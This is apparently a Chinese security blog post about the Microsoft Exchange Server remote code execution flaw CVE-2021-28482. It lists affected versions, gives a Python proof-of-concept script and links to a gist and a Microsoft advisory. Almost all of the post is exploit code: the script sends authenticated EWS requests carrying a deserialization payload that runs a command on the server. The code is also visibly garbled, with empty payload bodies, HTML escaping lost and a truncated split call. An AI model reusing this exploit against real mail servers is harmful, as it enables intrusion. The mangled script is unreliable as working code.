# Microsoft Exchange Server远程执行代码漏洞(CVE-2021-28482)
影响版本
* Microsoft Exchange Server版本
* 2013
* 2016
* 2019
PoC.py:
“`py
import requests
import time
import sys
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
from urllib import quote_plus
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = “”
username = “john”
pwd = “”
cmd = “mspaint.exe”
def escape(_str):
_str = _str.replace(“&”, “&”)
_str = _str.replace(“<", "<")
_str = _str.replace(">“, “>”)
_str = _str.replace(“\””, “"”)
return _str
payload2 = “””
<__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
cmd)
payload2 = escape(payload2)
payload1 = “””
“”” % payload2
res = requests.post(“https://%s/ews/Exchange.asmx” % target,
data=payload1,
headers={
“Content-type”: “text/xml; charset=utf-8”,
},
verify=False,
auth=HttpNtlmAuth(‘%s’ % (username), pwd))
if res.status_code != 200:
print(“error 1”)
exit()
ct = res.content
item_id = ct.split(‘
res = requests.post(“https://%s/ews/Exchange.asmx” % target,
data=req_del,
headers={
“Content-type”: “text/xml; charset=utf-8”,
},
verify=False,
auth=HttpNtlmAuth(‘%s’ % (username), pwd))
“`
ref:
* https://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda
* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28482













请登录后查看评论内容